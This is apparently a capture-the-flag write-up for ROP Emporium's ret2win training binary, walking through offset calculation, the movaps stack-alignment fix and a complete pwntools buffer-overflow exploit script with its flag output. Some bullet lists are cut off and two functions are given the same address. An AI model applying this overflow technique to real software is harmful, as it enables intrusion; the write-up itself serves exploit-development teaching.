Challenge: ROP Emporium — ret2win
ROP Emporium is the gentle on-ramp to return-oriented programming: eight x86_64 / x86 / ARM / MIPS binaries that each isolate exactly one new idea. ret2win is the very first one, and it earns its name — you don't even build a chain yet. You just overflow a buffer and return to a function the binary already contains.
The objective, in the challenge author's words:
Locate a method that you want to call within the binary. Call it by overwriting a saved return address on the stack.
That's it. No ASLR to defeat, no shellcode to inject, no leaks to chain. Just a textbook stack overflow and a hard-coded destination.
Every ROP chain you'll ever write begins the same way: you need to control the saved return address on the stack. ret2win strips away everything else so the only thing you have to get right is the offset. Once you can land your own ret address on the saved RIP slot, all of ROP becomes a question of what you put there.
The binary is a stripped-but-not-really 64-bit ELF. Running checksec (pwntools prints it for you when you ELF() the file) gives the classic teaching-binary profile:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Two things matter here:
__stack_chk_fail.ret2win symbol lives at a predictable address. No leak needed.NX is on, which would matter if we wanted to drop shellcode on the stack — but we don't. We're returning to an existing function.
Run the binary cold and it tells you almost everything you need to know:
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
So:
read() — so null bytes are allowed (this matters once you start using real gadget addresses)On x86_64 the saved RBP sits between the buffer and the saved return address, which gives the canonical offset: 32 (buffer) + 8 (saved RBP) = 40 bytes of padding before the return address you actually want to control.
ROP Emporium suggests confirming this empirically before each challenge — clear the kernel ring buffer with sudo dmesg -C, run the binary, feed it 40 bytes of garbage followed by 5 X characters, then check dmesg -t:
ret2win[14987]: segfault at a5858585858 ip 00000a5858585858 sp 00007ffe8c93d4e0 ...
The faulting instruction pointer is 0x5858585858 — your five X's landed exactly where the CPU tried to fetch the next instruction. Offset confirmed.
Rule of thumb across the ROP Emporium binaries: ~40 bytes on x86_64, 44 on x86, ~36 on ARMv5 / MIPS. Confirm anyway.
Open the binary in Binary Ninja (or your decompiler of choice) and look at the symbol table. The function literally named ret2win is sitting there in .text:

The annotations call out the four pieces you need:
main at 0x400756 — what we're overwriting.ret at the end of pwnme (0x400755) — the instruction that actually transfers control to whatever address we pasted on the stack.ret2win function at 0x400756, which puts()'s "Well done!" and then system()'s /bin/cat flag.txt.The disassembled body of ret2win is exactly what you'd hope:
ret2win:
push rbp
mov rbp, rsp
mov edi, <fmt> ; "Well done! Here's your flag:"
call puts
mov edi, <fmt> ; "/bin/cat flag.txt"
call system
nop
pop rbp
ret
Grab the address from the symbol table — pwntools will do it for you with elf.symbols["ret2win"] so you don't even need to hardcode it.
movaps gotchaThe naive payload is exactly what the challenge description suggests:
40 bytes of padding || &ret2win
In pwntools:
payload = b"A" * 40 + p64(elf.symbols["ret2win"])
Send it. The program... crashes. Right before the flag prints, somewhere inside system() or puts(). Welcome to the movaps stack-alignment issue.
On x86_64 System V, glibc's system() and friends use SSE instructions (e.g., movaps) that require 16-byte stack alignment. The compiler's normal function prologue keeps the stack aligned, but when we hijack RIP with a ret, the stack ends up off by 8 bytes — because ret itself pops 8 bytes and we never pushed the matching call. The first movaps inside glibc then faults with a SIGSEGV.
The fix is the canonical one-liner: insert an extra ret gadget before your target. A bare ret pops 8 bytes and jumps; that single ret realigns the stack to a 16-byte boundary before control reaches ret2win. Any single ret byte (0xc3) anywhere in the binary works — pwntools can find one for you with elf.search(asm("ret")).

from pwn import *
elf = ELF("./ret2win")
p = process("./ret2win")
offset = 40 # 32 (buffer) + 8 (saved rbp)
ret2win = elf.symbols["ret2win"] # pwntools resolves it for us
ret_gadget = next(elf.search(asm("ret"))) # any single ret in the binary — fixes the movaps alignment crash
payload = b"A" * offset + p64(ret_gadget) + p64(ret2win)
p.sendline(payload)
p.interactive()
Run it and the flag drops:

[+] Starting local process './ret2win': pid 634
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
Flag captured. Two writes to memory and a ret later, the binary cheerfully prints the prize.